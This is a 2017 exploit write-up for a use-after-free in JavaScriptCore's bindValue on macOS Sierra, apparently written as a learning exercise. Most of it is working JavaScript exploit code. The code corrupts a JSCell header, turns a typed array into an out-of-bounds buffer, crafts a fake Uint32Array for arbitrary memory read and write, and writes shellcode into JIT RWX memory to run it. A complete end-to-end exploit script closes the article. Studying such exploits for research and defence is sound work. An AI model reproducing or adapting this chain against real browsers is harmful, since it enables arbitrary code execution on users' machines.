Exploiting JSC bindValue UaF

Written: March, 2017

Introduction

In this article I will describe how I exploited JSC's bindValue UaF, patched on March 10th, 2017, as my first browser exploit. I was able to do this through a mostly heuristic approach, without delving deeply into the WebKit source code thanks to all the information in saelo's phrack paper, Attacking JavaScript Engines: A case study of JavaScriptCore and CVE-2016-4622, which I highly recommend reading.

Throughout this research I have used the version of JSC that is included with macOS Sierra 10.12.3.


The bug

As the changeset mentions, a built-in method, BindingNode::bindValue, doesn't increase the scope's reference count, leading to a use after free vulnerability.

The changeset also comes with a regression test, which shows how to trigger the bug:

trunk/JSTests/stress/regress-168546.js:

// This test passes if it does not crash.
try {
	(function () {
		let a = {
			get val() {
				[...{a = 1.45}] = [];
				a.val.x;
			},
		};
		
		a.val;
	})();
} catch (e) {
}

This code on its own won't actually crash, we need to allocate an object to achieve a crash:

function bug() {
	let a = {
		get val() {
			[...{a = 1.45}] = [];
			a.val = 1337;
		},
	};
	a.val; 
};

var k = new Uint32Array(0);

bug();

print(k);

Analysing the crash

Since System Integrity Protection will prevent us from attaching a debugger to a system binary, we will first need to copy /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc to a local directory.

The process can then be started with the following commands:

lldb jsc bindValue/poc.js
(lldb) process launch

The output from lldb is:

Process 17493 stopped
* thread #1: tid = 0x73b48, 0x00007fff90c2b98a JavaScriptCore`JSC::JSObject::get(JSC::ExecState*, JSC::PropertyName) const + 1450, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x299f91998)
	frame #0: 0x00007fff90c2b98a JavaScriptCore`JSC::JSObject::get(JSC::ExecState*, JSC::PropertyName) const + 1450
JavaScriptCore`JSC::JSObject::get:
->  0x7fff90c2b98a <+1450>: movq   (%rcx,%rax,8), %r13
    0x7fff90c2b98e <+1454>: testb  $0x8, 0x6(%r14)
    0x7fff90c2b993 <+1459>: jne	0x7fff90c2b91f			; <+1343>
    0x7fff90c2b995 <+1461>: movq   0x50(%r13), %rbx

The interesting register values are rax, which holds a corrupted value, and rdi which is a pointer to k:

(lldb) register read rax
0x0000000033333333
(lldb) register read rdi
0x00000001025e7d80

Without going into too much detail, the bug function triggered a use after free, which then caused a heap overflow, and ultimately resulted in corrupting the JSCell value of the previous object on the marked space heap. In our case, the k object's JSCell was corrupted, which resulted in a crash when JSC tried to get the object in order to execute print(k).


JSCell corruption

Every object in marked space starts with an 8-byte JSCell value, which is constructed of the following:

All of these are explained in section 5.2 of saelo's phrack paper.

With the ability to corrupt an object's JSCell there are a few different routes for exploitation such as: manipulating m_cellState to cause the garbage collector to trigger UaF, type confusion, or heap overflow. I chose to go with heap overflow.


Heap overflow

Using the primitive to change an object's structureID, we can convert a typed array into one with differently sized elements. The idea being that the length property will not be correct for an array of differently sized elements, and will allow out of bound access after the conversion.

For example, if we create a Uint8Array of 0x400 elements, 0x400 bytes will be allocated for the internal buffer of this object. If it is then corrupted into a Uint32Array, its size has effectively become 0x400 * 4 = 0x1000 bytes, allowing us to access 0x1000 - 0x400 = 0xC00 bytes of out of bounds memory.

When creating an object, we don't know exactly what its structureID will be, so we will spray the structure table with 0x800 entires of Uint32Arrays first to ensure that we will corrupt the structureID to one of these.

function makeid() {
	var text = "";
	var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
	
	for(var i = 0; i < 8; i++)
		text += possible.charAt(Math.floor(Math.random() * possible.length));
	
	return text;
};

function sprayUint32Arrays(count) {
	for(var i = 0; i < count; i++) {
		var a = new Uint32Array(1);
		a[makeid()] = 1337;
	}
}

function JSCellHigh(m_indexingType, m_type, m_flags, m_cellState) {
	return m_indexingType | m_type << 8 | m_flags << 16 | m_cellState << 24;
}

function intToFloat(high, low) {
	var view = new DataView(new ArrayBuffer(16));
	view.setUint32(0, high);
	view.setUint32(4, low);
	return view.getFloat64(0);
}

function toHex(i, j) {
	if(typeof j === "undefined") j = 4;
	return (i + 0x100000000).toString(16).substr(-j * 2).toUpperCase();
}

function hexDump(array, length, start) {
	var s = 0;
	
	if(typeof start === "undefined") start = 0;
	
	if(array instanceof Uint8Array) s = 1;
	else if(array instanceof Uint32Array) s = 4;
	else return;
	
	for(var i = start; i < length;) {
		var t = "";
		
		for(var j = 0; j < 0x10 / s && i < length; j++) {
			t += toHex(array[i++], s) + " ";
		}
		
		print(t);
	}
}

function corruptLastObject(JSCellHigh, structureID) {
	let a = {
		get val() {
			[...{a = intToFloat(JSCellHigh, structureID)}] = [];
			a.val = 1337;
		},
	};
	a.val; 
};

function makeCorruptedObject(JSCellHigh, structureID) {
	var k = new Uint8Array(0x400);
	
	for(var i = 0; i < k.length; i++) {
		k[i] = 0xc2;
	}
	
	corruptLastObject(JSCellHigh, structureID);
	
	if(!(k instanceof Uint32Array)) {
		return null;
	}
	
	return k;
}

function go() {
	print("  [+] Spraying stuctureID table with Uint32Arrays");
	
	sprayUint32Arrays(0x800);
	
	print("  [+] Getting corrupted Uint32Array");
	
	// Get a Uint32Array with corrupted length by corrupting a Uint8Array into a Uint32Array
	var k = makeCorruptedObject(JSCellHigh(0x00, 0x23, 0x60, 0x01), 0x800);
	
	if(!k) {
		print("  [-] Failed to corrupt Uint8Array!");
		return;
	}
	
	print("  [+] Changed k's structureID from Uint8Array entry to Uint32Array entry");
	
	print(Object.prototype.toString.call(k));
	print(Object.prototype.toString.call(k[0]));
	
	print("  [+] Reading past buffer bounds");
	
	hexDump(k, k.length, k.length / 4);
}

go();

Copied space heap corruption

Typed arrays store their contents in the copied space, which is where our heap overflow through the corrupted Uint32Array occurs.

Our aim at this point is to spray copied space with an Array of objects so that the Uint32Array has a buffer which overlaps with other objects. We will then able to access the raw bytes of an object through the corrupted Uint32Array, and use this to craft fake objects.

Specifically, we will spray JSArrays of a certain JSValue (0x41414141), and then search our corrupted Uint32Array for this JSValue. Once we have found it, we can modify it to a different JSValue (0x42424242), and locate the object in the Array whose value has changed.

...

function go() {
	var bufs = new Array(0x1000);
	
	print("  [+] Spraying stuctureID table with Uint32Arrays");
	
	sprayUint32Arrays(0x800);
	
	print("  [+] Getting corrupted Uint32Array");
	
	// Get a Uint32Array with corrupted length by corrupting a Uint8Array into a Uint32Array
	var k = makeCorruptedObject(JSCellHigh(0x00, 0x23, 0x60, 0x01), 0x800);
	
	if(!k) {
		print("  [-] Failed to corrupt Uint8Array!");
		return;
	}
	
	print("  [+] Spraying arrays of integers of 0x41414141");
	
	for(var i = 0; i < bufs.length; i++) {
		bufs[i] = new Array(0x100)
		for(var j = 0; j < bufs[i].length;) {
			// Integer 0x41414141 is represented as JSValue 0xffff000041414141
			bufs[i][j++] = 0x41414141;
		}
	}
	
	print("  [+] Searching overflow of corrupted Uint32Array for 0x41414141 spray");
	
	var found = 0;
	
	for(var i = k.length / 4; i < k.length;) {
		if(k[i++] == 0x41414141 && k[i++] == 0xffff0000) {
			found = i - 2;
			break;
		}
	}
	
	if(!found) {
		printf("  [-] Couldn't find 0x41414141 spray");
		return;
	}
	
	print("  [+] Modifying the found element of the 0x41414141 spray");
	
	// We can now craft arbitrary objects
	k[found] = 0x42424242;
	k[found + 1] = 0xffff0000;
	
	print("  [+] Searching for modified element");
	
	var cx = null;
	var cy = null;
	
	// Find the crafted object
	for(var i = 0; i < bufs.length && cx == null; i++) {
		for(var j = 0; j < bufs[i].length;) {
			if(bufs[i][j++] == 0x42424242) {
				cx = i;
				cy = j - 1;
				break;
			}
		}
	}
	
	if(cx == null) {
		print("  [-] Couldn't find the modified element");
		return;
	}
	
	
	// The raw bytes of the `bufs[cx][cy]` object can now be accessed through `k` from index `found`
}

go();

Crafting fake array to gain arbitrary RW

Given that we can craft arbitrary objects, all we need to do at this point to gain arbitrary RW is craft a Uint32Array (bufs[cx][cy]) with a vector property which points to a Uint8Array (v). The Uint32Array would then be able to overwrite the vector and length properties of the Uint8Array, achieving arbitrary RW.

Crafting the fake Uint32Array is done by creating a new object (a container), whose inline storage contains the raw bytes of our crafted object (a Uint32Array), and setting the element we located in the Array to point to this new object.

var v = new Uint8Array(0x1000);

// structureID, butterfly, vector, length and flags
bufs[cx][cy] = { a:intToFloat(JSCellHigh(0x00, 0x23, 0x60, 0x01), 0x800), b:null, c:v, d:intToFloat(0, 8) };

We then use the corrupted Uint32Array (k) to advance this pointer, so that it points to the container object's inline storage instead, turning it into the fake Uint32Array that we crafted above.

// 48 bytes of a JSValue address used for pointer
var fakeObjectContainerAddress = [k[found + 1] & 0xffff, k[found]];

k[found] += 0x10;

var fakeObjectAddress = [k[found + 1] & 0xffff, k[found]];

Now, the vector and length of the v array can be set through the crafted Uint32Array (at bufs[cx][cy]).

bufs[cx][cy][6] = 0xffffffff;
print("  [+] Set v.length to 0x" + toHex(v.length));

Finally, we can expose some nice wrappers for the arbitrary RW primitive.

...

function go() {
	
	...
	
	memory = {
		read: function(addr, length) {
			var high = addr[0];
			var low = addr[1];
			
			bufs[cx][cy][4] = low;
			bufs[cx][cy][5] = high & 0xffff;
			
			var a = new Uint8Array(length);
			for(var i = 0; i < length; i++) a[i] = v[i];
			return a;
		},
		
		write: function(addr, data) {
			var high = addr[0];
			var low = addr[1];
			
			bufs[cx][cy][4] = low;
			bufs[cx][cy][5] = high & 0xffff;
			
			for(var i = 0; i < data.length; i++) v[i] = data[i];
		},
		
		read32: function(addr) {
			var val = this.read(addr, 4);
			return val[0] << 0 | val[1] << 8 | val[2] << 16 | val[3] << 24;
		},
		
		write32: function(addr, val) {
			var array = [ (val >> 0) & 0xff, (val >> 8) & 0xff, (val >> 16) & 0xff, (val >> 24) & 0xff ];
			this.write(addr, array);
		},
		
		// Treat 64bit values as an array of [high, low]
		read64a: function(addr) {
			var val = this.read(addr, 8);
			return [ val[4] << 0 | val[5] << 8 | val[6] << 16 | val[7] << 24, val[0] << 0 | val[1] << 8 | val[2] << 16 | val[3] << 24 ];
		},
		
		write64a: function(addr, val) {
			var array = [ (val[1] >> 0) & 0xff, (val[1] >> 8) & 0xff, (val[1] >> 16) & 0xff, (val[1] >> 24) & 0xff, (val[0] >> 0) & 0xff, (val[0] >> 8) & 0xff, (val[0] >> 16) & 0xff, (val[0] >> 24) & 0xff ];
			this.write(addr, array);
		},
	};
	
	print("  [+] Reading memory");
	
	var test = memory.read(fakeObjectAddress, 0x100);
	hexDump(test, test.length);
}

go();

Cleanup

Due to the way in which we constructed our fake Uint32Array (bufs[cx][cy]), there are certain properties which will cause garbage collection to crash.

To correct this and maintain a stable state, we will use the same technique as descibed by saelo:

  • 1. Create an empty object. The structure of this object will describe an object with the default amount of inline storage (6 slots), but none of them being used.

  • 2. Copy the JSCell header (containing the structure ID) to the container object. We've now caused the engine to "forget" about the properties of the container object that make up our fake array.

  • 3. Set the butterfly pointer of the fake array to nullptr, and, while we're at it also replace the JSCell of that object with one from a default Float64Array instance.


	// Fixup the JSCell header of the container to make it look like an empty object.
	// By default, JSObjects have an inline capacity of 6, enough to hold the fake Uint32Array.
	bufs[cx][cy + 1] = {};
	var emptyAddr = [k[found + 1 * 2 + 1] & 0xffff, k[found + 1 * 2]];
	
	var header = memory.read(emptyAddr, 8);
	memory.write(fakeObjectContainerAddress, header);
	
	// Copy the JSCell and Butterfly (will be nullptr) from an existing Uint32Array.
	bufs[cx][cy + 2] = new Uint32Array(8);
	var u32arrayAddr = [k[found + 2 * 2 + 1] & 0xffff, k[found + 2 * 2]];
	header = memory.read(u32arrayAddr, 16);
	memory.write(fakeObjectAddress, header);
	
	// Set valid flags as well: make it look like an OversizeTypedArray
	// for easy GC survival (see JSGenericTypedArrayView<Adaptor>::visitChildren).
	memory.write(add32a(fakeObjectAddress, 24), [0x10, 0, 0, 0, 1, 0, 0, 0]);

Now, when we trigger garbage collection, no crash will occur!

var pressure = new Array(400);
function garbage() {
	for(var i = 0; i < pressure.length; i++) {
		pressure[i] = new Uint32Array(0x100000);
	}
}

garbage();

Executing payload

This final stage may vary slightly depending on the target you are attempting to exploit since some WebKit browsers implement JIT slightly differently. For the rest of this article we will continue to focus on JSC on macOS, which simply implements JIT with RWX pages.

Essentially, we can create a function which performs some relatively intensive loops in order to force it to be dynamically recompiled via JIT. Then we can read a set of pointers starting from this function object to ultimately lead us to the address of the recompiled function's RWX memory. This memory can then be rewritten, and executed by calling the function.

function makeJITCompiledFunction() {
	var str = "";
	for(var i = 0; i < 4096; i++) {
		str += "try{}catch(e){}; ";
	}
	fcn = new Function(str);
	for(var i = 0; i < 0x4000; i++) {
		fcn();
	}
	return fcn;
}

function go() {
	...
	
	// Execute shellcode
	bufs[cx][cy + 3] = makeJITCompiledFunction();
	
	var functionAddr = [k[found + 3 * 2 + 1] & 0xffff, k[found + 3 * 2]];
	print("  [+] Shellcode function object: 0x" + toHex(functionAddr[0]) + toHex(functionAddr[1]));
	
	var executableAddr = memory.read64a(add32a(functionAddr, 24));
	print("  [+] Executable instance: 0x" + toHex(executableAddr[0]) + toHex(executableAddr[1]));
	
	var jitCodeAddr = memory.read64a(add32a(executableAddr, 24));
	print("  [+] JITCode instance: 0x" + toHex(jitCodeAddr[0]) + toHex(jitCodeAddr[1]));
	
	var codeAddr = memory.read64a(add32a(jitCodeAddr, 16));
	print("  [+] RWX memory: 0x" + toHex(codeAddr[0]) + toHex(codeAddr[1]));
	
	print("  [+] Writing shellcode...");
	
	/*
		a:
		jmp a
		
		memory.write(codeAddr, [0xeb, 0xfe]);
	*/
	
	
	/*
		mov rax, 0xffff000013371337
		ret
	*/
	
	memory.write(codeAddr, [ 0x48, 0xB8, 0x37, 0x13, 0x37, 0x13, 0x00, 0x00, 0xFF, 0xFF, 0xC3 ]);
	
	
	print("  [+] Jumping into shellcode...");
	var r = bufs[cx][cy + 3]();
	
	print("  [+] Shellcode returned 0x" + toHex(r));
}

go();

Other systems such as the PS4 use a slightly more complicated system involving multiple virtual mappings with different permissions. On iOS 10 the address of writable JIT regions is encoded as an immediate value in an instruction which is marked execute only, and so a short ROP chain is required to gain arbitrary code execution.


Summary

Here is the final sample, which exploits the bug to gain arbitrary RW, and then uses this to write and executes arbitrary shellcode.

function makeJITCompiledFunction() {
	var str = "";
	for(var i = 0; i < 4096; i++) {
		str += "try{}catch(e){}; ";
	}
	fcn = new Function(str);
	for(var i = 0; i < 0x4000; i++) {
		fcn();
	}
	return fcn;
}

function makeid() {
	var text = "";
	var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
	
	for(var i = 0; i < 8; i++)
		text += possible.charAt(Math.floor(Math.random() * possible.length));
	
	return text;
};

function sprayUint32Arrays(count) {
	for(var i = 0; i < count; i++) {
		var a = new Uint32Array(1);
		a[makeid()] = 1337;
	}
}

function JSCellHigh(m_indexingType, m_type, m_flags, m_cellState) {
	return m_indexingType | m_type << 8 | m_flags << 16 | m_cellState << 24;
}

function intToFloat(high, low) {
	var view = new DataView(new ArrayBuffer(16));
	view.setUint32(0, high);
	view.setUint32(4, low);
	return view.getFloat64(0);
}

function add32a(original, adding) {
	var new_lo = (((original[1] >>> 0) + adding) & 0xFFFFFFFF) >>> 0;
	var new_hi = (original[0] >>> 0);
	if (new_lo < original[1]) {
		new_hi++;
	}
	return [new_hi, new_lo];
}

function sub32a(original, subbing) {
	var new_lo = (((original[1] >>> 0) - subbing) & 0xFFFFFFFF) >>> 0;
	var new_hi = (original[0] >>> 0);
	if ((new_lo > original[1]) & 0xFFFFFFFF) {
		new_hi--;
	}
	return [new_hi, new_lo];
}

function toHex(i, j) {
	if(typeof j === "undefined") j = 4;
	return (i + 0x100000000).toString(16).substr(-j * 2).toUpperCase();
}

function hexDump(array, length, start) {
	var s = 0;
	
	if(typeof start === "undefined") start = 0;
	
	if(array instanceof Uint8Array) s = 1;
	else if(array instanceof Uint32Array) s = 4;
	else return;
	
	for(var i = start; i < length;) {
		var t = "";
		
		for(var j = 0; j < 0x10 / s && i < length; j++) {
			t += toHex(array[i++], s) + " ";
		}
		
		print(t);
	}
}

function corruptLastObject(JSCellHigh, structureID) {
	let a = {
		get val() {
			[...{a = intToFloat(JSCellHigh, structureID)}] = [];
			a.val = 1337;
		},
	};
	a.val; 
};

function makeCorruptedObject(JSCellHigh, structureID) {
	var k = new Uint8Array(0x40 * 8);
	
	for(var i = 0; i < k.length; i++) {
		k[i] = 0xc2;
	}
	
	corruptLastObject(JSCellHigh, structureID);
	
	if(!(k instanceof Uint32Array)) {
		return null;
	}
	
	return k;
}

function go() {
	var bufs = new Array(0x1000);
	
	print("  [+] Spraying stuctureID table with Uint32Arrays");
	
	sprayUint32Arrays(0x800);
	
	print("  [+] Getting corrupted Uint32Array");
	
	// Get a Uint32Array with corrupted length by corrupting a Uint8Array into a Uint32Array
	var k = makeCorruptedObject(0x1602300, 0x800);
	
	if(!k) {
		print("  [-] Failed to corrupt Uint8Array!");
		return;
	}
	
	print("  [+] Spraying arrays of integers of 0x41414141");
	
	for(var i = 0; i < bufs.length; i++) {
		bufs[i] = new Array(0x100)
		for(var j = 0; j < bufs[i].length;) {
			// Integer 0x41414141 is represented as JSValue 0xffff000041414141
			bufs[i][j++] = 0x41414141;
		}
	}
	
	print("  [+] Searching overflow of corrupted Uint32Array for 0x41414141 spray");
	
	var found = 0;
	
	for(var i = k.length / 4; i < k.length;) {
		if(k[i++] == 0x41414141 && k[i++] == 0xffff0000) {
			found = i - 2;
			break;
		}
	}
	
	if(!found) {
		printf("  [-] Couldn't find 0x41414141 spray");
		return;
	}
	
	print("  [+] Modifying the found element of the 0x41414141 spray");
	
	// We can now craft arbitrary objects
	k[found] = 0x42424242;
	k[found + 1] = 0xffff0000;
	
	print("  [+] Searching for modified element");
	
	var cx = null;
	var cy = null;
	
	// Find the crafted object
	for(var i = 0; i < bufs.length && cx == null; i++) {
		for(var j = 0; j < bufs[i].length;) {
			if(bufs[i][j++] == 0x42424242) {
				cx = i;
				cy = j - 1;
				break;
			}
		}
	}
	
	if(cx == null) {
		print("  [-] Couldn't find the modified element");
		return;
	}
	
	print("  [+] Crafting fake object");
	
	var v = new Uint8Array(0x1000);
	
	// StructureID, butterfly, vector, length and flags
	bufs[cx][cy] = { a:intToFloat(JSCellHigh(0x00, 0x23, 0x60, 0x01), 0x800), b:null, c:v, d:intToFloat(0, 8) };
	
	// 48 bytes of a JSValue address used for pointer
	var fakeObjectContainerAddress = [k[found + 1] & 0xffff, k[found]];
	
	k[found] += 0x10;
	
	var fakeObjectAddress = [k[found + 1] & 0xffff, k[found]];
	
	print("  [+] Fake object crafted at 0x" + toHex(fakeObjectAddress[0]) + toHex(fakeObjectAddress[1]));
	
	bufs[cx][cy][6] = 0xffffffff;
	print("  [+] Set v.length to 0x" + toHex(v.length));
	
	memory = {
		read: function(addr, length) {
			var high = addr[0];
			var low = addr[1];
			
			bufs[cx][cy][4] = low;
			bufs[cx][cy][5] = high & 0xffff;
			
			var a = new Uint8Array(length);
			for(var i = 0; i < length; i++) a[i] = v[i];
			return a;
		},
		
		write: function(addr, data) {
			var high = addr[0];
			var low = addr[1];
			
			bufs[cx][cy][4] = low;
			bufs[cx][cy][5] = high & 0xffff;
			
			for(var i = 0; i < data.length; i++) v[i] = data[i];
		},
		
		read32: function(addr) {
			var val = this.read(addr, 4);
			return val[0] << 0 | val[1] << 8 | val[2] << 16 | val[3] << 24;
		},
		
		write32: function(addr, val) {
			var array = [ (val >> 0) & 0xff, (val >> 8) & 0xff, (val >> 16) & 0xff, (val >> 24) & 0xff ];
			this.write(addr, array);
		},
		
		// Treat 64bit values as an array of [high, low]
		read64a: function(addr) {
			var val = this.read(addr, 8);
			return [ val[4] << 0 | val[5] << 8 | val[6] << 16 | val[7] << 24, val[0] << 0 | val[1] << 8 | val[2] << 16 | val[3] << 24 ];
		},
		
		write64a: function(addr, val) {
			var array = [ (val[1] >> 0) & 0xff, (val[1] >> 8) & 0xff, (val[1] >> 16) & 0xff, (val[1] >> 24) & 0xff, (val[0] >> 0) & 0xff, (val[0] >> 8) & 0xff, (val[0] >> 16) & 0xff, (val[0] >> 24) & 0xff ];
			this.write(addr, array);
		},
	};
	
	// Fixup the JSCell header of the container to make it look like an empty object.
	// By default, JSObjects have an inline capacity of 6, enough to hold the fake Uint32Array.
	bufs[cx][cy + 1] = {};
	var emptyAddr = [k[found + 1 * 2 + 1] & 0xffff, k[found + 1 * 2]];
	
	var header = memory.read(emptyAddr, 8);
	memory.write(fakeObjectContainerAddress, header);
	
	// Copy the JSCell and Butterfly (will be nullptr) from an existing Uint32Array.
	bufs[cx][cy + 2] = new Uint32Array(8);
	var u32arrayAddr = [k[found + 2 * 2 + 1] & 0xffff, k[found + 2 * 2]];
	header = memory.read(u32arrayAddr, 16);
	memory.write(fakeObjectAddress, header);
	
	// Set valid flags as well: make it look like an OversizeTypedArray
	// for easy GC survival (see JSGenericTypedArrayView<Adaptor>::visitChildren).
	memory.write(add32a(fakeObjectAddress, 24), [0x10, 0, 0, 0, 1, 0, 0, 0]);
	
	// Run garbage collector to make sure it doesn't crash
	/*
	var pressure = new Array(400);
	function garbage() {
		for(var i = 0; i < pressure.length; i++) {
			pressure[i] = new Uint32Array(0x100000);
		}
	}
	
	garbage();
	*/
	
	// Execute shellcode
	bufs[cx][cy + 3] = makeJITCompiledFunction();
	
	var functionAddr = [k[found + 3 * 2 + 1] & 0xffff, k[found + 3 * 2]];
	print("  [+] Shellcode function object: 0x" + toHex(functionAddr[0]) + toHex(functionAddr[1]));
	
	var executableAddr = memory.read64a(add32a(functionAddr, 24));
	print("  [+] Executable instance: 0x" + toHex(executableAddr[0]) + toHex(executableAddr[1]));
	
	var jitCodeAddr = memory.read64a(add32a(executableAddr, 24));
	print("  [+] JITCode instance: 0x" + toHex(jitCodeAddr[0]) + toHex(jitCodeAddr[1]));
	
	var codeAddr = memory.read64a(add32a(jitCodeAddr, 16));
	print("  [+] RWX memory: 0x" + toHex(codeAddr[0]) + toHex(codeAddr[1]));
	
	print("  [+] Writing shellcode...");
	
	/*
		a:
		jmp a
		
		memory.write(codeAddr, [0xeb, 0xfe]);
	*/
	
	
	/*
		mov rax, 0xffff000013371337
		ret
	*/
	
	memory.write(codeAddr, [ 0x48, 0xB8, 0x37, 0x13, 0x37, 0x13, 0x00, 0x00, 0xFF, 0xFF, 0xC3 ]);
	
	
	print("  [+] Jumping into shellcode...");
	var r = bufs[cx][cy + 3]();
	
	print("  [+] Shellcode returned 0x" + toHex(r));
}

go();


I would definitely recommend experimenting with this bug to anyone else who is interested in learning about WebKit exploitation since it provides such a nice primitive, the ability to rewrite an object's JSCell, which leads to a large variety of possibilities for exploitation.


Thanks